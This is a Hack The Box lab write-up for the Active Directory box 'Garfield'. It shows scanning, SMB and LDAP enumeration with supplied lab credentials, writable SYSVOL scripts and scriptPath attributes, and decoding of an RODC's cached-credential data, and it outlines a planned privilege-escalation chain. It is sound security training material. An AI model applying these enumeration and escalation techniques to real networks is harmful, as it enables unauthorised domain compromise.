HTB: Garfield
Garfield is an assume breach Active Directory box with a read-only domain controller hidden on an internal network behind the main DC. I’ll find I can write the logon script path for other users as well as files in the SYSVOL scripts folder, and use that to get a shell as the next user. That user can reset the password on their admin account, which has control over the RODC’s computer object. I’ll get administrator access on the RODC two ways, by setting myself as its delegated administrator through a writable managedBy attribute, and with resource-based constrained delegation. Then I’ll rewrite the RODC’s password replication policy so the domain Administrator can be cached there, and show multiple ways to get Administrator, including forcing replication and forging an RODC golden ticket from both Windows and Linux.
Box Info
Recon
Initial Scanning
nmap finds 22 open TCP ports:
oxdf@hacky$ sudo nmap -p- --reason --min-rate 10000 10.129.244.207
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-11-01 20:12 UTC
Nmap scan report for 10.129.244.207
Host is up, received echo-reply ttl 127 (0.042s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
2179/tcp open vmrdp syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49674/tcp open unknown syn-ack ttl 127
49675/tcp open unknown syn-ack ttl 127
49677/tcp open unknown syn-ack ttl 127
49678/tcp open unknown syn-ack ttl 127
49904/tcp open unknown syn-ack ttl 127
53063/tcp open unknown syn-ack ttl 127
Nmap done: 1 IP address (1 host up) scanned in 13.43 seconds
oxdf@hacky$ sudo nmap -p 53,88,135,139,389,445,464,593,636,2179,3268,3269,3389,5985,9389,49667,49674,49675,49677,49678,49904,53063 -sCV 10.129.244.207
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-11-01 20:23 UTC
Nmap scan report for 10.129.244.207
Host is up (0.021s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-11-02 04:23:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: garfield.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: garfield.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-11-02T04:24:43+00:00; +8h00m04s from scanner time.
| ssl-cert: Subject: commonName=DC01.garfield.htb
| Not valid before: 2026-11-01T04:06:11
|_Not valid after: 2027-05-03T04:06:11
| rdp-ntlm-info:
| Target_Name: GARFIELD
| NetBIOS_Domain_Name: GARFIELD
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: garfield.htb
| DNS_Computer_Name: DC01.garfield.htb
| DNS_Tree_Name: garfield.htb
| Product_Version: 10.0.17763
|_ System_Time: 2026-11-02T04:24:02+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49904/tcp open msrpc Microsoft Windows RPC
53063/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 8h00m03s, deviation: 0s, median: 8h00m03s
| smb2-time:
| date: 2026-11-02T04:24:05
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.86 seconds
The box shows many of the ports associated with a Windows Domain Controller. The domain is garfield.htb, and the hostname is DC01.
I’ll use netexec to make a hosts file entry and put it at the top of my /etc/hosts file:
oxdf@hacky$ netexec smb 10.129.244.207 --generate-hosts-file hosts
SMB 10.129.244.207 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
oxdf@hacky$ cat hosts /etc/hosts | sudo sponge /etc/hosts
oxdf@hacky$ head -1 /etc/hosts
10.129.244.207 DC01.garfield.htb garfield.htb DC01
All of the ports show a TTL of 127, which matches the expected TTL for Windows one hop away.
nmap notes a clock skew, so I’ll want to make sure to run sudo ntpdate DC01.garfield.htb before any actions that use Kerberos auth.
TCP 2179 is Hyper-V’s Virtual Machine Management Service, so there are likely VMs at play on this machine.
Initial Credentials
HackTheBox provides the following scenario associated with Garfield:
As is common in real life pentests, you will start the Garfield box with credentials for the following account j.arbuckle / Th1sD4mnC4t!@1978
The creds do work:
oxdf@hacky$ netexec smb garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
SMB 10.129.244.207 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.129.244.207 445 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
They also work for LDAP, but not WinRM or RDP (unsurprisingly):
oxdf@hacky$ netexec ldap garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
LDAP 10.129.244.207 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.244.207 389 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
oxdf@hacky$ netexec winrm garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
WINRM 10.129.244.207 5985 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb)
WINRM 10.129.244.207 5985 DC01 [-] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
oxdf@hacky$ netexec rdp garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
RDP 10.129.244.207 3389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (nla:True)
RDP 10.129.244.207 3389 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
RDP shows the creds are good, but no “Pwn3d!” means I can’t use it to get a session.
Given that, I’ll want to prioritize things like:
- SMB shares
- ADCS
- LDAP / BloodHound
SMB - TCP 445
Shares
SMB is offering the standard shares for a domain controller:
oxdf@hacky$ netexec smb garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --shares
SMB 10.129.244.207 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.129.244.207 445 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
SMB 10.129.244.207 445 DC01 Enumerated shares
SMB 10.129.244.207 445 DC01 Share Permissions Remark
SMB 10.129.244.207 445 DC01 ----- ----------- ------
SMB 10.129.244.207 445 DC01 ADMIN$ Remote Admin
SMB 10.129.244.207 445 DC01 C$ Default share
SMB 10.129.244.207 445 DC01 IPC$ READ Remote IPC
SMB 10.129.244.207 445 DC01 NETLOGON READ Logon server share
SMB 10.129.244.207 445 DC01 SYSVOL READ Logon server share
SYSVOL
There is a script in \\DC01.garfield.htb\SYSVOL\garfield.htb\scripts:
oxdf@hacky$ smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Aug 13 11:04:43 2025
.. D 0 Wed Aug 13 11:04:43 2025
garfield.htb Dr 0 Wed Aug 13 11:04:43 2025
9250815 blocks of size 4096. 973886 blocks available
smb: \> cd garfield.htb\
smb: \garfield.htb\> ls
. D 0 Wed Aug 13 11:11:05 2025
.. D 0 Wed Aug 13 11:11:05 2025
DfsrPrivate DHSr 0 Wed Aug 13 11:11:05 2025
Policies D 0 Wed Aug 13 11:04:48 2025
scripts D 0 Tue Jan 27 22:13:47 2026
9250815 blocks of size 4096. 973886 blocks available
smb: \garfield.htb\> cd scripts\
smb: \garfield.htb\scripts\> ls
. D 0 Tue Jan 27 22:13:47 2026
.. D 0 Tue Jan 27 22:13:47 2026
printerDetect.bat A 217 Fri Sep 12 22:20:29 2025
9250815 blocks of size 4096. 973886 blocks available
This is the location where domains store their logon, logoff, startup, and shutdown scripts for the domain. I’ll download it:
smb: \garfield.htb\scripts\> get printerDetect.bat
getting file \garfield.htb\scripts\printerDetect.bat of size 217 as printerDetect.bat (2.6 KiloBytes/sec) (average 2.6 KiloBytes/sec)
Despite netexec reporting this share as READ only, I am able to write to it:
smb: \garfield.htb\scripts\> put test.bat
putting file test.bat as \garfield.htb\scripts\test.bat (0.1 kb/s) (average 0.1 kb/s)
smb: \garfield.htb\scripts\> ls
. D 0 Mon Nov 2 21:41:31 2026
.. D 0 Mon Nov 2 21:41:31 2026
printerDetect.bat A 217 Fri Sep 12 22:20:29 2025
test.bat A 5 Mon Nov 2 21:41:31 2026
9250815 blocks of size 4096. 973886 blocks available
And delete on it:
smb: \garfield.htb\scripts\> del test.bat
smb: \garfield.htb\scripts\> ls
. D 0 Mon Nov 2 21:42:04 2026
.. D 0 Mon Nov 2 21:42:04 2026
printerDetect.bat A 217 Fri Sep 12 22:20:29 2025
9250815 blocks of size 4096. 973886 blocks available
printerDetect.bat isn’t interesting:
@echo off
echo Detecting installed printers...
echo ==============================
wmic printer get Name,DeviceID,PortName,DriverName,Shared,Status /format:table
echo.
echo Printer detection completed.
pause
LDAP - TCP 389
ADCS
I’ll check for ADCS on this DC:
oxdf@hacky$ netexec ldap 10.129.244.207 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M adcs
LDAP 10.129.244.207 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.244.207 389 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
ADCS 10.129.244.207 389 DC01 Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
It doesn’t find anything. certipy shows it more explicitly:
oxdf@hacky$ certipy find -u j.arbuckle@garfield.htb -p 'Th1sD4mnC4t!@1978' -dc-ip 10.129.244.207 -ldap-scheme ldap -stdout
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 0 certificate templates
[*] Finding certificate authorities
[*] Found 0 certificate authorities
[*] Found 0 enabled certificate templates
[*] Finding issuance policies
[*] Found 1 issuance policy
[*] Found 0 OIDs linked to templates
[*] Enumeration output:
Certificate Authorities : [!] Could not find any CAs
Certificate Templates : [!] Could not find any certificate templates
certipy’s default LDAPS connection is reset by the DC, which fits with netexec’s “No TLS cert” finding. Both support the conclusion that ADCS is not configured.
Roasting
There are no roastable accounts on this box:
oxdf@hacky$ netexec ldap 10.129.244.207 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --kerberoast kerberoast
LDAP 10.129.244.207 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.244.207 389 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
LDAP 10.129.244.207 389 DC01 Skipping disabled account: krbtgt
LDAP 10.129.244.207 389 DC01 Total of records returned 0
oxdf@hacky$ netexec ldap 10.129.244.207 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --asreproast asreproast
LDAP 10.129.244.207 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.244.207 389 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
LDAP 10.129.244.207 389 DC01 No entries found!
gMSA
There are no gMSA accounts on Garfield:
oxdf@hacky$ netexec ldap 10.129.244.207 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --gmsa
LDAP 10.129.244.207 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.244.207 389 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
LDAP 10.129.244.207 389 DC01 Getting GMSA Passwords
BloodHound
I’ll collect BloodHound data with Rusthound-CE:
oxdf@hacky$ rusthound-ce --domain garfield.htb -f DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --zip
---------------------------------------------------
Initializing RustHound-CE at 21:30:14 on 11/01/26
Powered by @g0h4n_0
---------------------------------------------------
[2026-11-01T21:30:14Z INFO rusthound_ce] Verbosity level: Info
[2026-11-01T21:30:14Z INFO rusthound_ce] Collection method: All
[2026-11-01T21:30:14Z INFO rusthound_ce::transport::ldap] Connected to GARFIELD.HTB Active Directory!
[2026-11-01T21:30:14Z INFO rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-01T21:30:16Z INFO rusthound_ce::transport::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=garfield,DC=htb
[2026-11-01T21:30:16Z INFO rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-01T21:30:16Z INFO rusthound_ce::transport::ldap] All data collected for NamingContext DC=garfield,DC=htb
[2026-11-01T21:30:16Z INFO rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-01T21:30:16Z INFO rusthound_ce::transport::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=garfield,DC=htb
[2026-11-01T21:30:16Z INFO rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-01T21:30:16Z INFO rusthound_ce::transport::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=garfield,DC=htb
[2026-11-01T21:30:16Z INFO rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-01T21:30:17Z INFO rusthound_ce::transport::ldap] All data collected for NamingContext CN=Configuration,DC=garfield,DC=htb
[2026-11-01T21:30:17Z INFO rusthound_ce::api] Starting the LDAP objects parsing...
⢀ Parsing LDAP objects: 15%
[2026-11-01T21:30:17Z INFO rusthound_ce::objects::domain] MachineAccountQuota: 10
[2026-11-01T21:30:17Z INFO rusthound_ce::api] Parsing LDAP objects finished!
[2026-11-01T21:30:17Z INFO rusthound_ce::json::checker] Starting checker to replace some values...
[2026-11-01T21:30:17Z INFO rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-11-01T21:30:17Z INFO rusthound_ce::modules::session] [sessions] 0 active target(s) after expiry/enabled filter
[2026-11-01T21:30:17Z INFO rusthound_ce::modules::session] [sessions] 0 session(s) enumerated in total across 0 host(s)
[2026-11-01T21:30:18Z INFO rusthound_ce::modules::gpo::sysvol] [gpo] collected directives from 1 GPO(s) on DC01.garfield.htb SYSVOL
[2026-11-01T21:30:18Z INFO rusthound_ce::modules] [gpo] mapping 1 GPO(s) to GPOChanges / UserRights
[2026-11-01T21:30:18Z INFO rusthound_ce::modules::localgroup] [localgroups] 0 active target(s) after expiry/enabled filter
[2026-11-01T21:30:18Z INFO rusthound_ce::modules::localgroup] [localgroups] 0 edge(s) across 0 host(s)
[2026-11-01T21:30:18Z INFO rusthound_ce::modules::webclient] [webclient] 0 active target(s) after expiry/enabled filter
[2026-11-01T21:30:18Z INFO rusthound_ce::json::maker::common] 8 users parsed!
[2026-11-01T21:30:18Z INFO rusthound_ce::json::maker::common] 63 groups parsed!
[2026-11-01T21:30:18Z INFO rusthound_ce::json::maker::common] 2 computers parsed!
[2026-11-01T21:30:18Z INFO rusthound_ce::json::maker::common] 1 ous parsed!
[2026-11-01T21:30:18Z INFO rusthound_ce::json::maker::common] 1 domains parsed!
[2026-11-01T21:30:18Z INFO rusthound_ce::json::maker::common] 2 gpos parsed!
[2026-11-01T21:30:18Z INFO rusthound_ce::json::maker::common] 73 containers parsed!
[2026-11-01T21:30:18Z INFO rusthound_ce::json::maker::common] .//20261101213018_garfield-htb_rusthound-ce.zip created!
RustHound-CE Enumeration Completed at 21:30:18 on 11/01/26! Happy Graphing!
I’ll load these into the BloodHound CE Docker container and take a look. j.arbuckle doesn’t have any outbound control. They are a member of the IT Support group:
Writable Objects
Being in the IT Support group is a good signal that perhaps there may be some ACLs that BloodHound doesn’t pick up. I’ll use bloodyAD to check for writable objects:
oxdf@hacky$ bloodyAD --host DC01.garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get writable
distinguishedName: CN=Guest,CN=Users,DC=garfield,DC=htb
permission: WRITE
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=garfield,DC=htb
permission: WRITE
distinguishedName: CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
permission: WRITE
distinguishedName: CN=Jon Arbuckle,CN=Users,DC=garfield,DC=htb
permission: WRITE
distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
permission: WRITE
distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
permission: WRITE
distinguishedName: DC=garfield.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=garfield,DC=htb
permission: CREATE_CHILD
distinguishedName: DC=_msdcs.garfield.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=garfield,DC=htb
permission: CREATE_CHILD
This returns eight results. Running with --detail shows exactly what can be written (which is a ton of output):
| Permission | Object | Notes |
|---|---|---|
WRITE |
Guest user | Can write scriptPath. |
WRITE |
FSP object for Authenticated Users group | Can write url and wwwHomePage. |
WRITE |
krbtgt_8245 user | This account belongs to a Read-Only Domain Controller (RODC), which says both that one of these exists, and that j.arbuckle can write scriptPath on the account. |
WRITE |
Jon Arbuckle | Default write over self. |
WRITE |
Liz Wilson | Can write scriptPath. |
WRITE |
Liz Wilson ADM | This is potentially an admin account. Can write scriptPath. |
CREATE_CHILD |
garfield.htb domain | Default DNS access creating DNS records. |
CREATE_CHILD |
_msdcs.garfield.htb domain | Default DNS access creating DNS records. |
Notes of interest:
- Accounts matching the pattern krbtgt_<number> are from Read-Only Domain Controllers. While DCs share the same krbtgt account, RODCs each create their own krbtgt account.
- The existence of multiple DCs fits with the use of Hyper-V called out in the
nmapscan. - It seems like perhaps IT Support users can write the
scriptPathof any user in the Domain Users group withadminCountof false:
RODC
Given there’s a RODC, I’ll enumerate that a bit further. BloodHound shows the Domain Controllers group has only DC01:
The Read-Only Domain Controllers group has RODC01:
If I check the Domain Controllers OU, both are there:
I’ll use ldapsearch to look for all the computer objects in the Domain Controllers OU for some interesting and RODC-related fields:
oxdf@hacky$ ldapsearch -x -o ldif-wrap=no -H ldap://10.129.244.207 -D 'j.arbuckle@garfield.htb' -w 'Th1sD4mnC4t!@1978' -b 'OU=Domain Controllers,DC=garfield,DC=htb' '(objectClass=computer)' cn operatingSystem dNSHostName msDS-KrbTgtLink msDS-RevealOnDemandGroup msDS-NeverRevealGroup msDS-RevealedUsers
# extended LDIF
#
# LDAPv3
# base <OU=Domain Controllers,DC=garfield,DC=htb> with scope subtree
# filter: (objectClass=computer)
# requesting: cn operatingSystem dNSHostName msDS-KrbTgtLink msDS-RevealOnDemandGroup msDS-NeverRevealGroup msDS-RevealedUsers
#
# DC01, Domain Controllers, garfield.htb
dn: CN=DC01,OU=Domain Controllers,DC=garfield,DC=htb
cn: DC01
operatingSystem: Windows Server 2019 Standard
dNSHostName: DC01.garfield.htb
# RODC01, Domain Controllers, garfield.htb
dn: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
cn: RODC01
operatingSystem: Windows Server 2019 Datacenter
dNSHostName: RODC01.garfield.htb
msDS-KrbTgtLink: CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:A000090001000000134FB21E0300000066BB08AAF89CCD47A0E704FEB66E800030400000000000003040000000000000:CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:7D00090001000000134FB21E0300000066BB08AAF89CCD47A0E704FEB66E800031400000000000003140000000000000:CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:5E00090001000000134FB21E0300000066BB08AAF89CCD47A0E704FEB66E800030400000000000003040000000000000:CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:5A00090001000000134FB21E0300000066BB08AAF89CCD47A0E704FEB66E800030400000000000003040000000000000:CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:3700090001000000134FB21E0300000066BB08AAF89CCD47A0E704FEB66E800030400000000000003040000000000000:CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:A0000900070000002EF2DD1F03000000E1CABA19995EAB4EBB44A9D51ABD9DC140000200000000004000020000000000:CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:7D000900060000002EF2DD1F03000000E1CABA19995EAB4EBB44A9D51ABD9DC141000200000000004100020000000000:CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:5E000900070000002EF2DD1F03000000E1CABA19995EAB4EBB44A9D51ABD9DC140000200000000004000020000000000:CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:5A000900070000002EF2DD1F03000000E1CABA19995EAB4EBB44A9D51ABD9DC140000200000000004000020000000000:CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:37000900070000002EF2DD1F03000000E1CABA19995EAB4EBB44A9D51ABD9DC140000200000000004000020000000000:CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:A00009000700000052D8D41E03000000CC2053E8BC5706489E8A6EA5D630B51B9DB10000000000009DB1000000000000:CN=Administrator,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:7D0009000700000052D8D41E03000000CC2053E8BC5706489E8A6EA5D630B51B9EB10000000000009EB1000000000000:CN=Administrator,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:5E0009000700000052D8D41E03000000CC2053E8BC5706489E8A6EA5D630B51B9DB10000000000009DB1000000000000:CN=Administrator,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:5A0009000700000052D8D41E03000000CC2053E8BC5706489E8A6EA5D630B51B9DB10000000000009DB1000000000000:CN=Administrator,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:370009000700000052D8D41E03000000CC2053E8BC5706489E8A6EA5D630B51B9DB10000000000009DB1000000000000:CN=Administrator,CN=Users,DC=garfield,DC=htb
msDS-NeverRevealGroup: CN=Denied RODC Password Replication Group,CN=Users,DC=garfield,DC=htb
msDS-NeverRevealGroup: CN=Account Operators,CN=Builtin,DC=garfield,DC=htb
msDS-NeverRevealGroup: CN=Server Operators,CN=Builtin,DC=garfield,DC=htb
msDS-NeverRevealGroup: CN=Backup Operators,CN=Builtin,DC=garfield,DC=htb
msDS-NeverRevealGroup: CN=Administrators,CN=Builtin,DC=garfield,DC=htb
msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 3
# numEntries: 2
DC01 is Windows Server 2019 Standard, while RODC01 is Windows Server 2019 Datacenter.
msDS-KrbTgtLink shows the link to the RODC krbtgt account.
Three attributes show information about the RODC:
msDS-RevealedUsers- shows three users that have been cached on this RODC, krbtgt_8245, RODC01$, and Administrator. Caching the Administrator account is unusual.msDS-NeverRevealGroup- shows groups that should never be cached here. On this machine it’s Denied RODC Password Replication Group, Account Operators, Server Operators, Backup Operators, and Administrators.msDS-RevealOnDemandGroup- shows groups that can be cached here. For Garfield, it’s the Allowed RODC Password Replication Group.
It’s not clear how the Administrator account was cached while being in a msDS-NeverRevealGroup.
For each msDS-RevealedUsers entry, I can decode the hex data associated with it:
| Bytes | Field |
|---|---|
| 0–3 | Attribute ID, e.g. 0x9005A = unicodePwd, 0x9007D = supplementalCredentials |
| 4–7 | Version of that attribute when it was sent |
| 8–15 | Time of the last originating change (seconds since 1601) |
| 16–47 | Replication metadata |
I’ll write a short Python script that reads lines from stdin and processes them if they are revealed users:
import struct
import sys
from datetime import datetime, timedelta
names = {
0x9005A: "unicodePwd",
0x9005E: "ntPwdHistory",
0x90037: "dBCSPwd",
0x900A0: "lmPwdHistory",
0x9007D: "supplementalCredentials",
}
for line in sys.stdin:
if not line.startswith("msDS-RevealedUsers:"):
continue
_, _, _, h, dn = line.split(":", 4)
attrib, version, timeint = struct.unpack("<IIQ", bytes.fromhex(h)[:16])
time = datetime(1601, 1, 1) + timedelta(seconds=timeint)
user = dn.split(",")[0].split("=")[1]
print(f"{user}[{names[attrib]}] {version}: {time}")
This shows what is cached for each of the three users:
oxdf@hacky$ ldapsearch -x -o ldif-wrap=no -H ldap://10.129.244.207 -D 'j.arbuckle@garfield.htb' -w 'Th1sD4mnC4t!@1978' -b 'OU=Domain Controllers,DC=garfield,DC=htb' '(objectClass=computer)' cn operatingSystem dNSHostName msDS-KrbTgtLink msDS-RevealOnDemandGroup msDS-NeverRevealGroup msDS-RevealedUsers | uv run decode_revealed_users.py
krbtgt_8245[lmPwdHistory] 1: 2025-08-17 11:33:39
krbtgt_8245[supplementalCredentials] 1: 2025-08-17 11:33:39
krbtgt_8245[ntPwdHistory] 1: 2025-08-17 11:33:39
krbtgt_8245[unicodePwd] 1: 2025-08-17 11:33:39
krbtgt_8245[dBCSPwd] 1: 2025-08-17 11:33:39
RODC01[lmPwdHistory] 7: 2026-04-01 18:17:18
RODC01[supplementalCredentials] 6: 2026-04-01 18:17:18
RODC01[ntPwdHistory] 7: 2026-04-01 18:17:18
RODC01[unicodePwd] 7: 2026-04-01 18:17:18
RODC01[dBCSPwd] 7: 2026-04-01 18:17:18
Administrator[lmPwdHistory] 7: 2025-09-12 16:16:18
Administrator[supplementalCredentials] 7: 2025-09-12 16:16:18
Administrator[ntPwdHistory] 7: 2025-09-12 16:16:18
Administrator[unicodePwd] 7: 2025-09-12 16:16:18
Administrator[dBCSPwd] 7: 2025-09-12 16:16:18
The interesting one is the Administrator password. It’s in multiple groups that put it in the do not cache category, so it shouldn’t be here. I can get information about that password from DC01:
oxdf@hacky$ ldapsearch -x -o ldif-wrap=no -H ldap://10.129.244.207 -D 'j.arbuckle@garfield.htb' -w 'Th1sD4mnC4t!@1978' -b 'CN=Administrator,CN=Users,DC=garfield,DC=htb' -s base msDS-ReplAttributeMetaData | grep ^msDS | cut -d' ' -f 2 | while read line; do echo "$line" | base64 -d | tr -d '\0'; done | grep -A2 -E '<pszAttributeName>(unicodePwd|ntPwdHistory)<'
<pszAttributeName>ntPwdHistory</pszAttributeName>
<dwVersion>9</dwVersion>
<ftimeLastOriginatingChange>2025-10-03T17:29:26Z</ftimeLastOriginatingChange>
--
<pszAttributeName>unicodePwd</pszAttributeName>
<dwVersion>9</dwVersion>
<ftimeLastOriginatingChange>2025-10-03T17:29:26Z</ftimeLastOriginatingChange>
RODC01 has version 7 (12 Sept 2025), but DC01 has version 9 (3 Oct 2025). The version on the RODC is out of date, so even if I could read the cached hash from RODC01, it almost certainly is not the current password.
DNS Dump
bloodyAD will also give a dump of the DNS zone (which actually happens over LDAP):
oxdf@hacky$ bloodyAD --host 10.129.244.207 -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get dnsDump --zone garfield.htb
recordName: garfield.htb
AAAA: dead:beef::1f6; dead:beef::6abd:8baa:aa7a:c019
SOA.PrimaryServer: dc01.garfield.htb
SOA.zoneAdminEmail: hostmaster@garfield.htb
NS: dc01.garfield.htb
A: 10.129.244.207; 192.168.100.1
recordName: _gc._tcp.garfield.htb
SRV: dc01.garfield.htb:3268
recordName: _gc._tcp.Default-First-Site-Name._sites.garfield.htb
SRV: RODC01.garfield.htb:3268; dc01.garfield.htb:3268
recordName: _kerberos._tcp.garfield.htb
SRV: dc01.garfield.htb:88
recordName: _kerberos._tcp.Default-First-Site-Name._sites.garfield.htb
SRV: RODC01.garfield.htb:88; dc01.garfield.htb:88
recordName: _kerberos._udp.garfield.htb
SRV: dc01.garfield.htb:88
recordName: _kpasswd._tcp.garfield.htb
SRV: dc01.garfield.htb:464
recordName: _kpasswd._udp.garfield.htb
SRV: dc01.garfield.htb:464
recordName: _ldap._tcp.garfield.htb
SRV: dc01.garfield.htb:389
recordName: _ldap._tcp.Default-First-Site-Name._sites.garfield.htb
SRV: RODC01.garfield.htb:389; dc01.garfield.htb:389
recordName: _ldap._tcp.Default-First-Site-Name._sites.DomainDnsZones.garfield.htb
SRV: RODC01.garfield.htb:389; dc01.garfield.htb:389
recordName: _ldap._tcp.Default-First-Site-Name._sites.ForestDnsZones.garfield.htb
SRV: RODC01.garfield.htb:389; dc01.garfield.htb:389
recordName: _ldap._tcp.DomainDnsZones.garfield.htb
SRV: dc01.garfield.htb:389
